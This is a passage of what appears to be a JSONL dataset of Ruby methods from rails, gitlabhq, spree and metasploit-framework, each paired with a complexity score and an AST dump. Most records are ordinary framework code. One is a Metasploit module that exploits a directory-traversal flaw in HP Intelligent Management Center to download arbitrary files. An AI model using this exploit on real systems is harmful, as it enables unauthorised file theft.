erver_channels\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"ilog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Reverse SSH listener on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\" stopped\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not stop reverse listener on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"completed_event\"]},\"set\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"completed_event\"]},\"wait\",{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}]}]}","id":"d2f62ba3-ef10-467b-bb00-4d44fb8a6020"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/pipeline/emoji_pipeline.rb","start_line":8,"raw_source":"def self.filters\n        @filters ||= FilterArray[\n          Filter::HtmlEntityFilter,\n          Filter::SanitizationFilter,\n          Filter::SanitizeLinkFilter,\n          Filter::EmojiFilter\n        ]\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FilterArray\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"HtmlEntityFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"SanitizationFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"SanitizeLinkFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"EmojiFilter\"]}]}]}]}","id":"a7a1155b-486a-4bb5-b629-de91322cc5ff"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/page_section.rb","start_line":139,"raw_source":"def rich_text_fields\n      self.class.rich_text_association_names.map { |rt| rt.to_s.sub('rich_text_', '') }\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rich_text_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"rich_text_association_names\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rt\"]},\"to_s\"]},\"sub\",{\"type\":\"str\",\"children\":[\"rich_text_\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"3845845b-bd08-41fa-8bc5-09c13d51e7c0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_test.rb","start_line":1016,"raw_source":"def teardown\n    @connection.drop_schema(\"test_schema\")\n    @connection.drop_schema(\"test_schema2\")\n    @connection.drop_enum(\"test_enum_in_public\")\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"drop_schema\",{\"type\":\"str\",\"children\":[\"test_schema\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"drop_schema\",{\"type\":\"str\",\"children\":[\"test_schema2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"drop_enum\",{\"type\":\"str\",\"children\":[\"test_enum_in_public\"]}]}]}]}","id":"d1d0ffc3-c2fd-4d85-8f3f-eda8fbdd4ffe"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/through_association.rb","start_line":116,"raw_source":"def build_record(attributes)\n          if source_reflection.collection?\n            inverse = source_reflection.inverse_of\n            target = through_association.target\n\n            if inverse && target && !target.is_a?(Array)\n              Array(target.id).zip(Array(inverse.foreign_key)).map do |primary_key_value, foreign_key_column|\n                attributes[foreign_key_column] = primary_key_value\n              end\n            end\n          end\n\n          super\n        end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_reflection\"]},\"collection?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inverse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_reflection\"]},\"inverse_of\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"through_association\"]},\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inverse\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},\"!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"id\"]}]},\"zip\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inverse\"]},\"foreign_key\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"primary_key_value\"]},{\"type\":\"arg\",\"children\":[\"foreign_key_column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"foreign_key_column\"]},{\"type\":\"lvar\",\"children\":[\"primary_key_value\"]}]}]},null]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"a7c8e684-7086-45c9-8c15-780b5771ea53"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/time/calculations.rb","start_line":34,"raw_source":"def days_in_year(year = current.year)\n      days_in_month(2, year) + 337\n    end","complexity_score":6.05,"ast_json":"{\"type\":\"def\",\"children\":[\"days_in_year\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"year\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current\"]},\"year\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"days_in_month\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"year\"]}]},\"+\",{\"type\":\"int\",\"children\":[337]}]}]}","id":"7a363f3b-5cec-49ca-b16a-7cc8d0818cea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/migration_helpers.rb","start_line":90,"raw_source":"def filepath(node)\n      node.location.expression.source_buffer.name\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filepath\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"location\"]},\"expression\"]},\"source_buffer\"]},\"name\"]}]}","id":"aa52fed0-d34e-439d-a6bb-8381ed99354b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/suggestions/suggestion_set.rb","start_line":16,"raw_source":"def target_project\n        first_suggestion.target_project\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"target_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_suggestion\"]},\"target_project\"]}]}","id":"bc32cafd-de9e-4a74-8506-2d4aae547188"}
{"repo_name":"hooks","file_path":"./repos/hooks/spec/acceptance/acceptance_tests.rb","start_line":47,"raw_source":"def json_headers(additional_headers = {})\n    { \"Content-Type\" => \"application/json\" }.merge(additional_headers)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"json_headers\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"additional_headers\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"additional_headers\"]}]}]}","id":"dda37380-47da-4ea5-9c1f-ec44ff9e7a9e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/expire_pipeline_cache_service.rb","start_line":40,"raw_source":"def pipelines_project_merge_request_path(merge_request)\n      url_helpers.pipelines_project_merge_request_path(merge_request.target_project, merge_request, format: :json)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"pipelines_project_merge_request_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"pipelines_project_merge_request_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_project\"]},{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]}","id":"458986ef-a04f-4ed6-a43d-6bca3dba4201"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/money_test.rb","start_line":26,"raw_source":"def test_column\n    column = PostgresqlMoney.columns_hash[\"wealth\"]\n    assert_equal :money, column.type\n    assert_equal \"money\", column.sql_type\n    assert_equal 2, column.scale\n    assert_not_predicate column, :array?\n\n    type = PostgresqlMoney.type_for_attribute(\"wealth\")\n    assert_not_predicate type, :binary?\n  end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlMoney\"]},\"columns_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"wealth\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"money\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"money\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"sql_type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"scale\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"array?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlMoney\"]},\"type_for_attribute\",{\"type\":\"str\",\"children\":[\"wealth\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"binary?\"]}]}]}]}","id":"c27a019e-b574-43d6-9eca-33add5b26c9f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/release_presenter.rb","start_line":18,"raw_source":"def self_url\n    project_release_url(project, release)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"self_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"project_release_url\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"release\"]}]}]}","id":"5aaaa205-8857-4962-867c-c82884ced6e5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb","start_line":272,"raw_source":"def docs_dir\n      File.expand_path(File.join(__FILE__, '..', '..', '..', '..', '..', 'documentation', 'cli'))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"docs_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"(method)\"]},{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"str\",\"children\":[\"documentation\"]},{\"type\":\"str\",\"children\":[\"cli\"]}]}]}]}","id":"32d180c9-c2a9-48bd-8cf4-a694160f85d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/browser_ui/4_verify/ci_job_artifacts/unlocking_job_artifacts_across_parent_child_pipelines_spec.rb","start_line":258,"raw_source":"def expect_job_to_have_locked_artifact\n        Page::Project::Job::Show.perform do |job|\n          expect(job).to have_locked_artifact\n        end\n      end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_job_to_have_locked_artifact\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"Job\"]},\"Show\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_locked_artifact\"]}]}]}]}","id":"a5ebec5e-5b06-4fc1-96c6-2659ed80462f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/content_security_policy_helpers.rb","start_line":4,"raw_source":"def stub_csp_for_controller(controller_class, csp = ActionDispatch::ContentSecurityPolicy.new)\n    allow_next_instance_of(controller_class) do |controller|\n      allow(controller).to receive(:current_content_security_policy).and_return(csp)\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_csp_for_controller\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller_class\"]},{\"type\":\"optarg\",\"children\":[\"csp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"ContentSecurityPolicy\"]},\"new\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_next_instance_of\",{\"type\":\"lvar\",\"children\":[\"controller_class\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"controller\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"current_content_security_policy\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"csp\"]}]}]}]}]}","id":"9527481f-17b6-451e-95f2-05962848206b"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/models/concerns/spree/webhooks/has_webhooks.rb","start_line":39,"raw_source":"def webhook_payload_body\n        resource_serializer.new(self, include: included_relationships).serializable_hash.to_json\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"webhook_payload_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_serializer\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"send\",\"children\":[null,\"included_relationships\"]}]}]}]},\"serializable_hash\"]},\"to_json\"]}]}","id":"a11c4ee8-a845-42a0-8c13-0cbaf20fe296"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/reflection.rb","start_line":37,"raw_source":"def reflection_class_for(macro)\n          case macro\n          when :has_one_attached\n            HasOneAttachedReflection\n          when :has_many_attached\n            HasManyAttachedReflection\n          else\n            super\n          end\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reflection_class_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"macro\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"macro\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_one_attached\"]},{\"type\":\"const\",\"children\":[null,\"HasOneAttachedReflection\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_many_attached\"]},{\"type\":\"const\",\"children\":[null,\"HasManyAttachedReflection\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"e0cf0520-71c0-443b-9ad1-cd9859ebb818"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/new_snippet.rb","start_line":9,"raw_source":"def self.included(base)\n          super\n\n          base.view 'app/assets/javascripts/snippets/components/edit.vue' do\n            element 'snippet-title-input-field', required: true\n            element 'submit-button'\n          end\n\n          base.view 'app/assets/javascripts/snippets/components/snippet_description_edit.vue' do\n            element 'snippet-description-field', required: true\n          end\n\n          base.view 'app/assets/javascripts/snippets/components/snippet_blob_edit.vue' do\n            element 'file-name-field'\n            element 'file-holder-container'\n          end\n\n          base.view 'app/assets/javascripts/snippets/components/snippet_blob_actions_edit.vue' do\n            element 'add-button'\n          end\n\n          base.view 'app/views/shared/_zen.html.haml' do\n            # This 'element' is here only to ensure the changes in the view source aren't mistakenly changed\n            element :_, \"testid = local_assigns.fetch(:testid, '')\" # rubocop:disable QA/ElementWithPattern\n          end\n\n          base.view 'app/assets/javascripts/snippets/components/snippet_visibility_edit.vue' do\n            element 'visibility-content'\n          end\n        end","complexity_score":21.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/snippets/components/edit.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"snippet-title-input-field\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"submit-button\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/snippets/components/snippet_description_edit.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"snippet-description-field\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/snippets/components/snippet_blob_edit.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"file-name-field\"]}]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"file-holder-container\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/snippets/components/snippet_blob_actions_edit.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"add-button\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/views/shared/_zen.html.haml\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"sym\",\"children\":[\"_\"]},{\"type\":\"str\",\"children\":[\"testid = local_assigns.fetch(:testid, '')\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/snippets/components/snippet_visibility_edit.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"visibility-content\"]}]}]}]}]}","id":"47bcebd3-d0c1-4fba-8ba0-b4bd41db3739"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/markdown_feature.rb","start_line":148,"raw_source":"def xwiki_page\n    @xwiki_page ||= create(:wiki_page, wiki: xwiki)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"xwiki_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@xwiki_page\"]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"wiki_page\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wiki\"]},{\"type\":\"send\",\"children\":[null,\"xwiki\"]}]}]}]}]}]}","id":"d321ebf9-09f6-4840-ac44-9f51683ea994"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/errors.rb","start_line":322,"raw_source":"def initialize(message = nil, code = nil, level = nil, sql = nil, connection_pool = nil)\n      super(message, connection_pool: connection_pool)\n      @code = code\n      @level = level\n      @sql = sql\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"code\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"level\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"sql\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"connection_pool\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_pool\"]},{\"type\":\"lvar\",\"children\":[\"connection_pool\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@code\",{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@level\",{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sql\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}","id":"934bdccc-f67e-419c-936c-798e39355b2d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb","start_line":69,"raw_source":"def run_host(ip)\n    if not is_imc?\n      vprint_error(\"#{rhost}:#{rport} - This isn't a HP Intelligent Management Center\")\n      return\n    end\n\n    travs = \"\"\n    travs << \"../\" * datastore['DEPTH']\n    travs << datastore['FILEPATH']\n\n    vprint_status(\"#{rhost}:#{rport} - Sending request...\")\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path.to_s, \"tmp\", \"fault\", \"download\"),\n      'method' => 'GET',\n      'vars_get' =>\n        {\n          'fileName' => travs\n        }\n    })\n\n    if res and res.code == 200 and res.headers['Content-Type'] and res.headers['Content-Type'] == \"application/doc\"\n      contents = res.body\n      fname = my_basename(datastore['FILEPATH'])\n      path = store_loot(\n        'hp.imc.faultdownloadservlet',\n        'application/octet-stream',\n        ip,\n        contents,\n        fname\n      )\n      print_good(\"#{rhost}:#{rport} - File saved in: #{path}\")\n    else\n      vprint_error(\"#{rhost}:#{rport} - Failed to retrieve file\")\n      return\n    end\n  end","complexity_score":61.15,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_imc?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - This isn't a HP Intelligent Management Center\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"travs\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"travs\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"../\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEPTH\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"travs\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Sending 